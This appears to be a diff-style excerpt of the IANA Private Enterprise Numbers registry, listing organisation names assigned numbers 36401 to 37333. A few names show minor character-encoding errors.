+36401 Dax Networks Ltd
+36402 Chunichi Denshi Co.,LTD.
+36403 sentiam, inc.
+36404 Mako Networks Ltd
+36405 Department of Information System, Hanoi National university of Education, Vietnam
+36406 PopTarantula
+36407 Peer Review Mediation and Arbitration
+36408 Norges Bank Investment Management
+36409 Foyer Assurances S.A.
+36410 gokuraku.it
+36411 Zhejiang Chuangyi Technology Co., Ltd
+36412 Scientific manufacturing firm Stalenergo Limited
+36413 LUMIPLAN SAS
+36414 Espial Group Inc.
+36415 INRS Custom Data Inc
+36416 Harritronics LLC
+36417 KDE e.V
+36418 Qwilt Inc.
+36419 Path Intelligence
+36420 Trinet Co., Ltd.
+36421 geniegate.com
+36422 Gaikai, Inc.
+36423 Warped Reality Studios
+36424 Roberto De Duro
+36425 Fladi.at
+36426 AT Software und Rechnertechnik GmbH
+36427 Soneco d.o.o.
+36428 Inreal Technologies Ltd
+36429 TOOLS.LV SIA
+36430 Piarista Gimnázium, Vác
+36431 Cobham
+36432 Proteco Industria Eletrotecnica Ltda.
+36433 Station to Station BV
+36434 Inovit GmbH
+36435 Rathravane LLC
+36436 Beijing GuoTie HuaChen Communication & Information Technology Co.,Ltd.
+36437 ASAHI ELECTRONICS CO.,LTD.
+36438 Shanghai XZ-COM. Co.,Ltd.
+36439 Telenetik Corporation
+36440 RICH RIGHT TECHNOLOGY LIMITED
+36441 G-FIT GmbH & Co. KG
+36442 comune di Jesi
+36443 eikju: AG
+36444 Sana IT Services GmbH Berlin-Brandenburg
+36445 fotocom
+36446 netkey information technology gmbh
+36447 Colliers International
+36448 Verkehrsautomatisierung Berlin GmbH
+36449 Computation Institute
+36450 DFZ
+36451 CNP Assurances
+36452 Samara Institute of Open Education
+36453 Vanguardia Liberal
+36454 RGI, Inc
+36455 synertronixx GmbH
+36456 Freiwillige Feuerwehr Strasshof
+36457 APL software, SL
+36458 Triumfant, Inc.
+36459 SURVISION
+36460 PangyreSoft
+36461 Squeep
+36462 1st Source Bank
+36463 DNW Technologies
+36464 henrich
+36465 Data Center Manageability Interface Forum
+36466 H2 PowerTech (formerly 'Ballard Fuel Cell Systems' and 'IdaTech LLC')
+36467 adesso AG
+36468 Cornastone Infrastructure Services (Pty) Ltd
+36469 Through IP Pty. Ltd.
+36470 Sofdela Inc.
+36471 Beijing SureKAM Technology Co., Ltd.
+36472 Ilait
+36473 Direct One S.A.
+36474 Lifespan Corporation
+36475 Fujian Etim Information & Technology Co,.Ltd.
+36476 Academia de Informática Brava, Engenharia de Sistema, Lda
+36477 Ministry Of Health, Saudi Arabia
+36478 WareValley
+36479 Fastbooking
+36480 Driving Growth International GmbH
+36481 eqqon GmbH
+36482 First Businesspost GmbH
+36483 Lowe Enterprises and Destination Hotels and Resorts
+36484 JaReVo
+36485 nCk Research LLC
+36486 Ecator Ltd
+36487 Shanghai Xinmin Telecom Technologies Co.,Ltd
+36488 Brimrose Technology Corporation
+36489 Geovan Salvato Borges
+36490 MassHousing
+36491 California State University, Long Beach
+36492 JUNet (Jordanian Network Universities)
+36493 IDIS Co.,Ltd.
+36494 Fixmo Inc
+36495 Systemfive
+36496 TeamBox SARL
+36497 Buzzinbees SAS
+36498 Asurea Insurance Services
+36499 West Penn Allegheny Health Systems
+36500 Behavioreal Ltd.
+36501 Ever-Team Software
+36502 NetBoss Technologies, Inc.
+36503 waldmeisda.com
+36504 Joint Stock Company «Arkhangelsk Sale Company»
+36505 Viatel
+36506 Com N S Ltd.
+36507 chgauert
+36508 Unica Corporation
+36509 BeiJing testor techniqual Ltd
+36510 TechnoServ A/S
+36511 MKB Unionbank AD
+36512 CITILOG
+36513 SOGELINK SAS
+36514 Ipeer Internet Network
+36515 Suprema Corte de Justicia de la República Oriental del Uruguay
+36516 Beaufort Delta Education Council
+36517 Estalea, L.P.
+36518 RF Technology Pty Ltd
+36519 bsdn
+36520 SIGI
+36521 Global RadioData Communications Ltd
+36522 Simples Consultoria
+36523 SippySoft
+36524 Locus Telecommunications, Inc.
+36525 Imatia Innovation S.L.
+36526 Blackhawk Computer Services
+36527 Mark Pröhl
+36528 WMZ Engenharia
+36529 BlueSpace Software
+36530 Fruktträdet
+36531 netford
+36532 State Agency of Medicines of Latvia
+36533 Danaher Corporation
+36534 Bitartists
+36535 Der Beck GmbH
+36536 Eprinsa
+36537 Beijing NeTopChip Technology Co.,LTD
+36538 ExperTeach Gesellschaft für Netzwerkkompetenz mbH
+36539 smart SNMP
+36540 Innofinity GmbH
+36541 FIVES
+36542 St.Petersburg Out-patient department N106
+36543 Sascha Silbe
+36544 Universidade Federal do ABC
+36545 ii2P, LLC
+36546 Towers Watson
+36547 Heimatverein Elte e.V.
+36548 Virtualmin Inc
+36549 Medienzentrum Kassel
+36550 AnthonyVinhPham
+36551 RAADIUS LLC
+36552 Cora Informatique
+36553 Altos Solutions
+36554 Moocom Corporation
+36555 TimeTools Limited
+36556 Triad Semiconductor, Inc.
+36557 Positive Software sprl
+36558 Actus Digital
+36559 Bitnet.hu Ltd.
+36560 Entr'ouvert
+36561 Nwork Co.,Ltd.
+36562 Green Resource Inc.
+36563 Remsdaq Limited
+36564 Daniel Fernandes
+36565 Washington State Patrol
+36566 new frontiers software GmbH
+36567 Teva Pharmaceutical Industries Ltd.
+36568 Anixter
+36569 Gridstore
+36570 Gemüsering Stuttgart GmbH
+36571 Picoware Ltd
+36572 NET4GAS, s.r.o.
+36573 Harney
+36574 SCI Group
+36575 MerLar
+36576 APB PRODATA LTDA.
+36577 Starscriber Corporation
+36578 Kron Telekomunikasyon Hizmetleri A.S
+36579 Erste Bank Hungary Nyrt.
+36580 DVG Deutsche Vertriebsgesellschaft für Publikationen und Filme mbH
+36581 BSTECNOLOGIA
+36582 Arduino (http://www.arduino.cc/)
+36583 Tom Aafloen
+36584 vmkid.com
+36585 Logan Technologies
+36586 NET IDEA d.o.o.
+36587 NFB Consulting
+36588 Satellink, Inc
+36589 Pier 1 Imports
+36590 Rb Datensysteme GmbH
+36591 Prefeitura Municipal de Fortaleza
+36592 The CBORD Group, Inc.
+36593 Paul De Audney
+36594 Certi Networks Sdn Bhd (formerly 'Telistar Solutions Pte Ltd')
+36595 Ena Tecnologia, S.L.
+36596 Dachser GmbH & Co. KG
+36597 PRDS
+36598 SELEX Systems Integration Inc
+36599 Bremer Landesbank
+36600 Nashire AG (startup) (http://www.nashire.com)
+36601 OTPasswd
+36602 Observium
+36603 ITechnical
+36604 Media Service Provider Ltd
+36605 Hannover Rückversicherung AG
+36606 Littlehall Corporation
+36607 Johnny Abrahamsson
+36608 WHTY
+36609 Universita' del Salento
+36610 August Moon LLC
+36611 Ziborski KG
+36612 AngloGold Ashanti
+36613 United Europe Holding OJSC
+36614 itl Institut für technische Literatur AG
+36615 Identity Networks
+36616 Arcatem
+36617 RooX
+36618 Alceo s.r.l.
+36619 Beatport, LLC
+36620 8086 Limited
+36621 Krithia Ltd
+36622 WELLHAT,INC
+36623 Swedish Orphan Biovitrum
+36624 Senath Pty Ltd
+36625 Allesklar.com AG
+36626 State of Montana
+36627 COMPLUS CZ, a.s.
+36628 Inphosoft Pte Ltd
+36629 Assens Kommune
+36630 3stylestudio srl
+36631 Portalify Ltd
+36632 Scalr Inc.
+36633 Ivoclar Vivadent Corporation
+36634 LinkORB
+36635 Kirchliche Paedagogische Hochschule Wien/Krems
+36636 AMS Ltd.
+36637 Delaware Department of Education
+36638 Planphoria, LLC
+36639 TimedOut Services
+36640 Benjamin Tietz
+36641 Famos, LLC
+36642 FireID
+36643 ANNAX Schweiz AG (formerly 'ANNAX passenger electronics AG')
+36644 WiseMo A/S
+36645 cybertronixx consulting services GmbH
+36646 San Diego State University
+36647 STV Electronic GmbH
+36648 Netherlands Institute for Neuroscience
+36649 Traficon International n.v.
+36650 Joh. Enschedé IT & Consultancy
+36651 Sportvision, Inc
+36652 denkagenten GbR
+36653 Copenhagen Business School
+36654 CHU de Nantes
+36655 Innovative Energies
+36656 Unger, Welsow & Company GmbH
+36657 Axept AG
+36658 OMGPOP
+36659 ATRUST COMPUTER CORPORATION
+36660 PAUL Consultants e.V.
+36661 MailCleaner
+36662 MTU Friedrichshafen GmbH (formerly 'Tognum AG')
+36663 Aish Technologies Limited
+36664 Stadt Warburg
+36665 Egress Software Technologies Ltd
+36666 Golden Frog, Inc.
+36667 Orange County Container Group LLC
+36668 Canadian Standards Association
+36669 Medicom Health Interactive
+36670 Bundesministerium für Inneres - Republik Österreich
+36671 Guangzhou Changyue Electronic Technology Ltd.
+36672 FieldView Solutions
+36673 IP Infusion Inc
+36674 Moving Impressions
+36675 Cossette
+36676 E-Prime Co., Ltd.
+36677 Nejla
+36678 Barmherzige Brüder Österreich
+36679 eo Networks S.A.
+36680 B&W Software GmbH
+36681 IsoBeef GbR
+36682 Reaonix, LLC
+36683 ApexIdentity Inc.
+36684 NetCom Consulting GmbH
+36685 Mozdell Inc,
+36686 iSencia AB
+36687 JaxMP L.L.C.
+36688 DOORSolutions
+36689 J&T Systems
+36690 HCS - HES Cabling Systems
+36691 Dolphin Speed Networks Ltd
+36692 Open Certification Centre
+36693 SGI Japan, Ltd.
+36694 The Revenue Department
+36695 Cognitive Security, Ltd.
+36696 Natural History Museum
+36697 Neo Telecoms
+36698 Toyon
+36699 The Engle Group
+36700 Defferrari Sistemas de Informática Ltda
+36701 Cogeco Cable
+36702 Cerbini
+36703 ABR Innovations, LLC.
+36704 My Ways, Org.
+36705 National Time Service Center,Chinese Academy of Sciences
+36706 Fundación Centro Oncológico de Galicia "José Antonio Quiroga y Piñeyro"
+36707 SpiderCloud Wireless, Inc.
+36708 Sensus Informatika Kft.
+36709 Mezeo Software Corporation
+36710 Anoigo Services Ltd.
+36711 Micromodje Industries
+36712 The Cell
+36713 Alepo USA
+36714 jackl0phty, LLC
+36715 SEAS-NVE
+36716 Jiu Info & Tech
+36717 Studentenwerk München
+36718 Futurice Ltd
+36719 onedrous.com
+36720 Evax S.A.R.L.
+36721 Cuker Interactive
+36722 TSC Technologies
+36723 ILT Innovations AB
+36724 Kaplan Research and Application Prototyping
+36725 Artisan Computer Services LLC
+36726 Centered Logic, LLC
+36727 Benchmark Systems, LLC
+36728 Ellerines
+36729 EAS Schaltanlagen GmbH
+36730 TAGSYS RFID
+36731 Agorabox
+36732 PDR Network
+36733 ForgeRock
+36734 Leibniz Center for Marine Tropical Ecology (ZMT)
+36735 Regione Emilia Romagna
+36736 Balance of Nature
+36737 Pošta Crne Gore
+36738 BLINQ Networks Inc.
+36739 Christophe Garault
+36740 Sinicnet Technology Co., Ltd.
+36741 CV Rekatama Elektronika Persada
+36742 Provincial Government of the Western Cape
+36743 GESTICUMPRE
+36744 mcclishingramcatering service
+36745 ninjo-workstation, EuMetSys c/o Ernst Basler + Partner GmbH
+36746 Papendorf Software Engineering GmbH
+36747 Vertica A/S
+36748 Leine & Linde AB
+36749 EML Speech Technology GmbH
+36750 JaCoTec
+36751 RPC Scandinavia
+36752 Datasinc
+36753 Engineering with IT
+36754 BZK GROUP Sp. z o.o.
+36755 stocker-schmid.ch
+36756 Fossmart Pvt Limited
+36757 GuanFang Technologies Co., Ltd
+36758 FORTRUST LLC
+36759 eks Engel GmbH & Co. KG
+36760 Ancitel S.p.A.
+36761 Datera S.A.
+36762 Actisis GmbH
+36763 Riverside Health System
+36764 Linuxstar DE
+36765 Herff Jones Inc
+36766 Ixolit GmbH
+36767 Rockyou
+36768 IT Prof Service Ltd.
+36769 Originity
+36770 Redmark
+36771 Learning Unlimited, Inc.
+36772 Funk-Electronic Piciorgros GmbH
+36773 SecurActive
+36774 op5 AB
+36775 Akera S.r.l.
+36776 Washington State University Extension Energy Program
+36777 sedOSS AB
+36778 Leap Power
+36779 University Corporation for Atmospheric Research
+36780 Format Computing
+36781 Monument Systems LLC
+36782 Premier Wireless, Inc.
+36783 Tasco Sales (Aust) Pty Ltd
+36784 FMS Software Ltd.
+36785 Diino AB
+36786 TechMA s.r.l.
+36787 Futurex, LLC
+36788 Autoridade Nacional de Segurança Rodoviária
+36789 BONET Group
+36790 POWERVAR INC
+36791 eac easy automation components GmbH
+36792 ZyTrust SA
+36793 Kiwibank
+36794 Web4U s.r.o.
+36795 Allgemeine Baugesellschaft - A. Porr Aktiengesellschaft
+36796 Norbit
+36797 No Limits Software
+36798 Teamup Technology Limited
+36799 Codeworx3 Pty Ltd
+36800 DONGGUANG APTECH ELECTRONICS CO., LTD
+36801 kokii
+36802 Cazoodle, Inc.
+36803 Flughafen Stuttgart GmbH
+36804 UCN GmbH
+36805 RideCharge Inc.
+36806 Great River Energy
+36807 NetWitness
+36808 The Sherwin-Williams Company
+36809 ITERANET Ltd
+36810 237 Solutions Pty Ltd
+36811 Consendo Systems A/S
+36812 CSP, Inc.
+36813 SafeTek USA, LLC
+36814 DEFFAYET
+36815 Savings Society Inc
+36816 Beijing Abloomy Technologies Co., Ltd (formerly 'Beijing Yunshengfa Technologies Co., Ltd')
+36817 Bohemia Interactive Simulations
+36818 Accelya France SAS
+36819 Yare Objects AB
+36820 Updata Infrastructure UK Limited
+36821 Local Matters, Inc.
+36822 Adaffix GmbH
+36823 Conference Plus, Inc.
+36824 UFPS "Tatarstan pochtasy" - filial FGUP "Pochta Rossii"
+36825 Grenada Lake Medical Center
+36826 Control Zero
+36827 Message Solution
+36828 CEZ, a. s.
+36829 LAGARDERE ACTIVE
+36830 WHATEVER MOBILE GmbH
+36831 Ratio Consulta
+36832 Pocket Kings Ltd
+36833 Authenware Corporation
+36834 Omnis Cloud
+36835 Solimar Systems, Inc.
+36836 Brian Carlson
+36837 Hangzhou Future Technology Co.,Ltd
+36838 GK Software AG
+36839 Connect Informatica S.r.l.
+36840 Peter Kutting IT-Services
+36841 Thor DMS
+36842 CSR Ltd
+36843 Valley Telegence Private Ltd
+36844 Sozialhilfeverband Kirchdorf an der Krems
+36845 ABACOM-Ingenieurgesllschaft
+36846 OOO "SMU OFISSTROY"
+36847 International Game Technology, Inc.
+36848 CRE-DO GmbH
+36849 Hanwha Techwin Co., Ltd. (formerly 'Samsung Techwin Co., Ltd.')
+36850 Dharma Drum Buddhist College (DDBC)
+36851 OutputLinks, Inc.
+36852 Bnei Baruch
+36853 axilaris GmbH
+36854 BURGO GROUP SPA
+36855 Helvetia Assicurazioni SA
+36856 GEDIA Gebrüder Dingerkus GmbH
+36857 Holztechnikum Kuchl
+36858 THQ Inc.
+36859 Ixia (formerly 'BreakingPoint Systems')
+36860 True Value Company
+36861 Pacmed International Inc
+36862 Mitrol SRL
+36863 sankai
+36864 South Stream
+36865 delight software gmbh
+36866 Zott GmbH & Co. KG
+36867 Zaměstnanci.com s.r.o.
+36868 SignGuard Europe Ab
+36869 Sofium
+36870 Walter Parr
+36871 Daylife, Inc.
+36872 Tekno Telecom, L.L.C.
+36873 Wideportal IT Solutions UG (haftungsbeschränkt)
+36874 Anerma Electronics b.v.b.a
+36875 TOYO Corporation
+36876 Chongqing Rural Commercial Bank
+36877 Sundale Garden Village
+36878 Insta Group Ltd.
+36879 New Mexico Consortium
+36880 tolj.org system architecture
+36881 Simon Josefsson Datakonsult AB
+36882 Texas Department of Transportation
+36883 Modernizing Medicine, Inc.
+36884 ESE (Mod-Electronics Inc.)
+36885 CImbal Inc.
+36886 Oliver Wyman Group
+36887 ArtPlant
+36888 E-Formation GmbH
+36889 China Bluedon information security technology co., ltd
+36890 future Training & Consulting GmbH
+36891 Nomadic Technologies Inc.
+36892 Axel Springer SE
+36893 Takacom Corporation
+36894 Compagnie Européenne des Emballages Robert Schisler
+36895 Guangdong Newstart Technology Service Co.,Ltd
+36896 Quality Manager Plus AS
+36897 OEConnection LLC
+36898 Finning (Canada)
+36899 CEVA Sante Animale
+36900 Atricore, Inc.
+36901 Art Is Rebellion
+36902 OneWaiheke
+36903 Osyris
+36904 Legion Telekommunikation GmbH
+36905 MedCentral Health System
+36906 Institute for Internet Technologies and Applications
+36907 Luggage Pros
+36908 Research Industrial Systems Engineering (RISE) Forschungs-, Entwicklungs- und Großprojektberatung GmbH
+36909 Bison IT Services AG
+36910 Pacific Communications
+36911 EEtrust
+36912 Lenglet imprimeurs
+36913 Asociación Cooperativa Sutronix, R.L.
+36914 Square, Inc.
+36915 ALFATRUST CERTIFICATION S.A.
+36916 Gemeente Groningen
+36917 Tunz.com
+36918 Altran
+36919 Mentana - Claimsoft GmbH
+36920 Yearsun Industrial Co., Ltd.
+36921 LLC SIBUR
+36922 Eurohueco S.A.
+36923 schlott gruppe Aktiengesellschaft
+36924 Doosan Power Systems Limited
+36925 Heinrich Schmid Systemhaus GmbH & Co. KG
+36926 Prime Therapeutics
+36927 Innovasic Semiconductor Inc
+36928 Technical University of Lodz Computer Center
+36929 Vitri Solutions Private Limited
+36930 Zoe Evangelistische Vereinigung
+36931 Aboagye Okyere Emmanuel
+36932 Zetetic LLC
+36933 PXL S.C. ARL
+36934 Lemco Electronics
+36935 Kentuckiana Pride Foundation
+36936 Clinical Software Solutions
+36937 Alphasoft Nederland
+36938 Profweb
+36939 Sentinela Security Ltda.
+36940 TLO
+36941 Solekai Systems Corporation
+36942 KAVECO-Workflow
+36943 Venice International University
+36944 ANO "TV-Novosti"
+36945 Advance Milles System Co.,Ltd.
+36946 Web Technology Projects ltd.
+36947 Multilab AS
+36948 OpenIT GmbH
+36949 Inetum
+36950 Dédalo Helicolor S.A.
+36951 Southern Illinois Univeristy
+36952 Kunming Railway Signalling And Telecommunications Department
+36953 VOX - Norwegian Agency for Lifelong Learning
+36954 42 Units - IT, Ltd.
+36955 ELSIST Srl
+36956 SEMATECH
+36957 libvirt
+36958 Receptive IT
+36959 The Cellars Group LLC
+36960 TPH Acquisitions LLLP
+36961 BOC GmbH
+36962 Advertiser Technologies
+36963 Communications Supply & Support Limited
+36964 Arkodia Technologies, LLC
+36965 CriptoTec
+36966 CCDMD
+36967 FNet
+36968 Ocom Communications, Inc.
+36969 NELLS ELECTRONIC SYSTEMS (NES)
+36970 FinanceScout24 GmbH
+36971 Transcend Communication Beijing Co.,Ltd
+36972 Banco Central de Honduras
+36973 Phoenix Capital
+36974 Costain Group PLC (formerly 'Simulation Systems Ltd')
+36975 UrgentCare Works, LLC
+36976 Critter bvba
+36977 Eloqua Corporation
+36978 Pico Digital Inc
+36979 accumio GmbH
+36980 Steinle Solution-Factory GmbH
+36981 Kindersprachscreening
+36982 UNESCO-IHE
+36983 Kiwilight.com Limited
+36984 TAO Beratungs- und Management GmbH
+36985 Sewar Technologies
+36986 Piratenpartei Oesterreichs
+36987 OnVPS
+36988 host4u.at
+36989 BEIJING XINGHUA BRAINRUST TECHNOLOGY CO.,LTD
+36990 Prinovis Nuernberg GmbH
+36991 CASTEL
+36992 SystemGroup
+36993 Lucid Design Group
+36994 Fastnet
+36995 akrido.net
+36996 Fordingbridge Computer Services
+36997 XuZhou Medical College
+36998 MTek Enterprises, LLC
+36999 Instituto de Tecnologia Química e Biológica
+37000 Joel Hatcher
+37001 MindShift Corp
+37002 Diversified Control, Inc.
+37003 Vertu
+37004 VMTurbo
+37005 Medizinische Einrichtungen des Bezirks Oberpfalz GmbH
+37006 Koger, Inc.
+37007 LOGIWAYS
+37008 Cleopatra
+37009 CHIP-N LLC
+37010 Saguna Networks LTD
+37011 KFSoftware
+37012 Bestgo.pl Sp. Z O.O.
+37013 eoswan
+37014 Hanming Technology Co., Ltd
+37015 Harms Consulting Partners Pty Ltd
+37016 Unicredit S.P.A.
+37017 NATION Technologies Group, Inc
+37018 Phabrix
+37019 LANOS Computer GmbH & Cie KG
+37020 Dichotomia
+37021 ScandFibre Logistics AB
+37022 Scientific and Production Company Granch Ltd.
+37023 KazTransCom JSC
+37024 edv neubrand
+37025 Maverick Wireless Solutions Private Limited
+37026 Mylab Oy
+37027 rc-tec GmbH
+37028 Fernwaerme Ulm GmbH
+37029 Technology On Demand, Inc.
+37030 G4S Technology Limited
+37031 Studio MekTek, Inc
+37032 RR Donnelley Europe Sp. z o.o.
+37033 Eden Rock Communications
+37034 Goatrace Ltd
+37035 Kitami Institute of Technology
+37036 Geekerati
+37037 America First Federal Credit Union
+37038 ComplexNet Ltd.
+37039 EtherWorks Pty. Ltd.
+37040 GoldCard spol. s r. o.
+37041 Thales Alenia Space España
+37042 Bee Software Inc.
+37043 Irkutsk regional clinical hospital
+37044 DINEC International
+37045 LexisNexis Univentio B.V.
+37046 Fjord Technology UG (haftungsbeschränkt)
+37047 InterCard Kartensyteme GmbH
+37048 Tetra Tech Inc.
+37049 UFCSPA
+37050 Techyond Inc.
+37051 Oliver Roll
+37052 and One Inc.
+37053 MMR Network Management Science & Technology Co., Ltd
+37054 AirP Systems LLC
+37055 JM Properties
+37056 ATM Japan, Ltd.
+37057 Quickpay Ltd. (formerly 'MPS Quickpay')
+37058 thockar IT consulting
+37059 Ultra Communication & Integrated Systems (formerly 'Command and Control Systems')
+37060 Silicon & Software Systems Ltd.
+37061 Sargento Foods Inc.
+37062 RigNet, Inc.
+37063 SARL AEGLE INFORMATIQUE MEDICALE
+37064 The University of Kitakyushu
+37065 COTEK ELECTRONIC IND.CO.,LTD
+37066 OE INVESTMENTS LIMITED
+37067 Centrum Rozwoju Szkół Wyższych TEB Akademia sp. z o.o.
+37068 Arizona Coppersoft
+37069 Broadband Antenna Tracking Systems
+37070 RadioOpt GmbH
+37071 Sofistone Oy
+37072 Lantech Communications Global, Inc.
+37073 BEIJING JETSEN TECHNOLOGY CO.,LTD
+37074 Assam Electronics Development Corporation Limited (AMTRON)
+37075 rootsys
+37076 IPETRIK
+37077 Albuquerque Public Schools
+37078 Nor1, Inc.
+37079 Wofford College
+37080 3VR Security, Inc.
+37081 Wicked Trickster LLC
+37082 Ministry of Finance
+37083 Blok Software Development (BlokSoft)
+37084 9h37
+37085 KDS
+37086 Elemental Technologies, Inc.
+37087 Holy Cross Energy
+37088 Teamsourcing Cia. Ltda.
+37089 Mediengruppe Pressedruck Dienstleistungs-GmbH & Co. OHG
+37090 OUVREZLABOITE
+37091 Orion Virtualisation Solutions Pty Limited
+37092 CJ Computers
+37093 Consolidated Edison Company of New York Inc
+37094 MadPilot Productions
+37095 GH-Informatik GmbH.
+37096 Dongnian Networks Inc
+37097 UkSATSE
+37098 Ingenieursbureau Ebatech BV
+37099 Itautec S.A.
+37100 Endai Worldwide
+37101 Quelltext AG
+37102 Wind mobile
+37103 Infinetix Corp.
+37104 Pebble Beach System Ltd
+37105 Secure Systems and Technologies Ltd
+37106 RazorThreat, Inc.
+37107 Manitoba Telecom Services
+37108 DonbassInformCommunicationService
+37109 SMS Data Products Group, Inc.
+37110 Altera Corporation
+37111 Institute for Clinical and Experimental Medicine
+37112 Infosol d.o.o.
+37113 Chita State University
+37114 Christian Aid
+37115 VIVA SOFT LTD
+37116 Instituto Nacional de Seguros
+37117 Industrial Thinking Ltd
+37118 Panoramic Data
+37119 Object ECM AG
+37120 Velocent Systems Inc.
+37121 Eiritu Equipment Technology Co.,Ltd
+37122 EVOTRIX SYSTEMS
+37123 BYTIS Ltd.
+37124 beatandmusic media GmbH
+37125 Omega Cube
+37126 syn2cat a.s.b.l.
+37127 SuperLumin Networks
+37128 bo.lt
+37129 Project 76
+37130 Miroslav Mrakota
+37131 Unioncast Network Technology Co.,LTD,BeiJing
+37132 Friedrich Kuhnt GmbH
+37133 Reverse-Logic Ltd.
+37134 MackTECH GmbH
+37135 oscardijkhoff.nl
+37136 Crawford and Company
+37137 Reilly Telecom Inc.
+37138 tibra
+37139 Deep-Secure Ltd
+37140 Guavus Inc
+37141 MUWA-Spelle
+37142 Actua
+37143 in-put GbR - Das Linux-Systemhaus
+37144 Viktor Gruber
+37145 MedicVision
+37146 Unitrin Services Group
+37147 Alveole Studio
+37148 burak özen
+37149 OnLineDB ltd
+37150 Surtronic International B.V.
+37151 Cross Domain Technical Forum
+37152 France Net Com
+37153 srnjak.com
+37154 Junction Software Ltd
+37155 ByteActive AB
+37156 Hangzhou Lancable Technology Co.,ltd
+37157 NetentSec Inc.
+37158 cynix.org
+37159 SCK-CEN
+37160 Continium Ltd.
+37161 Mobis Ltd
+37162 Softperience
+37163 IPS - International Power Supply
+37164 IMage INTelligence (IMINT)
+37165 Kivanc Oskay
+37166 Seillac Co., Ltd.
+37167 Infrafuture Inc.
+37168 CorpGenie
+37169 Xeirius Solutions
+37170 SoftwareMind
+37171 Dipl.-Ing. (BA) Thomas Knoblauch
+37172 Wired Informática e Sistemas Lda
+37173 Kluwer
+37174 STEP Networks Inc
+37175 NovoLink Communications
+37176 Integrated Products Inc
+37177 Southern Oregon University
+37178 Alquist Consulting Ltd
+37179 Ab Ovo Nederland BV
+37180 Centric Corporation
+37181 IP Technology Labs
+37182 Viewteq Corp.
+37183 Cipherdyne
+37184 Aptus Interactive Ltd
+37185 AMERSPORTS
+37186 Perfecto Mobile
+37187 Premier Manufacturing Support Services Poland Sp. z o.o.
+37188 eTellicom Pty Ltd
+37189 Audit Grup Ltd.
+37190 Tecisa74 S.L.
+37191 Androscoggin Valley Hospital
+37192 INSTITUTO FEDERAL DO PARÃ - IFPA
+37193 REACH Global Services
+37194 Gaba Corporation
+37195 connect co.Ltd
+37196 Tieline Technology
+37197 Oberfinanzdirektion Niedersachsen
+37198 SoftAgency Co., Ltd.
+37199 Zentrum fuer Informationstechnologie kreuznacher diakonie
+37200 S&L ITcompliance GmbH
+37201 S&L Netzwerktechnik GmbH
+37202 United Network for Organ Sharing
+37203 Global Telecom Tools, LLC
+37204 Maxxess Systems, Inc.
+37205 SAMPENSION KP LIVSFORSIKRING A/S
+37206 FEMSWISS AG
+37207 Astrium Services - GEO-Information division
+37208 Embedded Planet
+37209 San Francisco Department of Public Health
+37210 The Monkeysphere Project
+37211 Fontana Unified School District
+37212 Yamaha motor solutions xiamen
+37213 RS Automation Co.,Ltd.
+37214 Aeromaritime Systembau GmbH
+37215 MicroWorld Technologies Inc.
+37216 Clickstream Technologies Plc
+37217 Entanet International Ltd.
+37218 SZM.com s.r.o.
+37219 Wandertec
+37220 cPacket Networks Inc.
+37221 TerraVision Pty Ltd
+37222 ALLCLEAR
+37223 Integra-S
+37224 international west trading ltd
+37225 eParadeigma, LLC
+37226 Polizei Saarland
+37227 INC Technologies
+37228 HandcraftIT
+37229 Applied-Intelligence GmbH
+37230 Modulo Consulting
+37231 University of Plovdiv
+37232 GTS-Thaumat XXI, S.A.
+37233 Void Sistemas S.L
+37234 Xuzhou Normal University
+37235 Gen Energija d.o.o.
+37236 Stantech Communications Solutions, Inc.
+37237 Metabolon
+37238 Bateau Limited
+37239 MKM Bilgisayar Danismanlik ve Egitim Hizmetleri San. ve Tic. Ltd. Sti.
+37240 Joerg Riesmeier
+37241 Grupo Soares da Costa SA
+37242 Zerolag Communications
+37243 Everyone Counts, Inc.
+37244 ZigBee Alliance, Inc.
+37245 Fusion Crypto
+37246 Zerfowski
+37247 Thales Solutions Asia
+37248 JoongboTech Co, LTD.
+37249 Amicon Ltd
+37250 Grid2Home
+37251 eVent Medical Inc
+37252 Image Video
+37253 Energy Aware Technology Inc.
+37254 Intronis, Inc.
+37255 Mirada
+37256 Mendeley Ltd
+37257 die | brueckenschlaeger
+37258 Telekomunikacije RS AD Banja Luka
+37259 Netic A/S
+37260 XIAN ZIKING NETWORK COMMUNICATIONS CO.,LTD.
+37261 University of Shkodra
+37262 Sabrefin Limited
+37263 Catholic Education Office, Lismore
+37264 Tularosa Communications
+37265 Delovoy Partner Ltd.
+37266 Schindler Elevator Ltd
+37267 Tecnobit
+37268 Gira Giersiepen GmbH & Co. KG
+37269 Rosa-Luxemburg-Stiftung Gesellschaftsanalyse und politische Bildung e. V.
+37270 Farell Instruments SL
+37271 COESYS s.r.l.
+37272 Westvik
+37273 Acision Ltd
+37274 Infratel, Inc.
+37275 Skyfire Labs, Inc.
+37276 System of Modular Technologies - ICC
+37277 Universidad TecMilenio
+37278 Hanselmann Consulting GmbH
+37279 eco-ged
+37280 jTendo Sp. z o.o.
+37281 Signatec ltd.
+37282 Barloworld Power
+37283 SPF FInances
+37284 Energy Sector Security Consortium, Inc.
+37285 NationalField
+37286 Congressional Budget Office
+37287 christopher d del riesgo
+37288 AXGATE CO., LTD (formerly 'AXAN Networks Co.,LTD.')
+37289 Inco-Service Ltd.
+37290 Gridmerge Limited
+37291 BRITZE Elektronik und Geraetebau GmbH
+37292 Arcanum Communications Ltd
+37293 Rusteletech Ltd.
+37294 netzquadrat GmbH
+37295 Stadt Muenster - citeq
+37296 nanoLogika GmbH
+37297 LiteCore Networks India Pvt Ltd
+37298 PAGANI INFORMATIQUE sarl
+37299 Quanxi Technologies, LLC
+37300 Neoware s.r.o.
+37301 metaVentis GmbH
+37302 Daniel Adam
+37303 Ignesco Software
+37304 Stonegate Instruments Ltd
+37305 Beijing Utility Software Core Technology Co., Ltd
+37306 Hintz
+37307 Vodéa
+37308 GSMK mbH
+37309 PÉTÃV Pécsi TávfűtÅ‘ Kft.
+37310 NetAcademia Kft.
+37311 Leibniz-Gymnasium Remscheid (formerly 'N@team Leibniz-Gymnasium Remscheid')
+37312 ULC Systems Inc.
+37313 peers@play
+37314 40 North LLC
+37315 Greenshift
+37316 Yuvad Technologies
+37317 Ruby Rocket (Chengdu) Consulting Co., Ltd
+37318 Datacenter Services, Inc.
+37319 GERNY
+37320 Inneasoft
+37321 Really Helsinki Oy
+37322 ERNW GmbH
+37323 Yasashi Matsuo
+37324 Albany Medical Center
+37325 York College of Pennsylvania
+37326 Datasat Digital Entertainment
+37327 Student Satellite Initiative Munich SSIMUC e.V.
+37328 Peninsula Regional Medical Center
+37329 Community Care Physicians, P.C.
+37330 OpenMarket
+37331 Frey Textilreinigung GmbH
+37332 CPS Power Systems GmbH
+37333 CADENAS GmbH
